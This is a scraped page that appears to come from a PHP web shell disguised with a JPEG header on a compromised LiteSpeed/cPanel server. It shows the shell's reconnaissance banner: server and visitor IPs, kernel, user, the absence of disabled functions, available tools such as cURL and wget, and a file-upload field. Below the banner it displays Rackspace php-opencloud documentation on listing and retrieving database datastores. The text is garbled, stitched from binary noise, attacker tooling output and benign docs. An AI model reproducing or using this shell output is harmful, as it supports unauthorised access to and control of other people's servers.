����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.117.227.191 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/database/ |
Upload File : |
Datastores ========== Listing datastores ------------------ You can list out all the datastores available as shown below: .. code-block:: php $datastores = $service->datastoreList(); foreach ($datastores as $datastore) { /** @var $datastore OpenCloud\Database\Resource\Datastore **/ } `Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Database/list-datastores.php>`__ Retrieving a datastore ---------------------- You can retrieve a specific datastore's information, using its ID, as shown below: .. code-block:: php /** @var OpenCloud\Database\Resource\Datastore **/ $datastore = $service->datastore('{datastoreId}'); `Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Database/get-datastore.php>`__ Listing datastore versions -------------------------- You can list out all the versions available for a specific datastore, as shown below: .. code-block:: php $versions = $datastore->versionList(); foreach ($versions as $version) { /** @var $version OpenCloud\Database\Resource\DatastoreVersion **/ } `Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Database/list-datastore-versions.php>`__ Retrieving a datastore version ------------------------------ You a retrieve a specific datastore version, using its ID, as shown below: .. code-block:: php $datastoreVersion = $datastore->version('{versionId}'); `Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Database/get-datastore-version.php>`__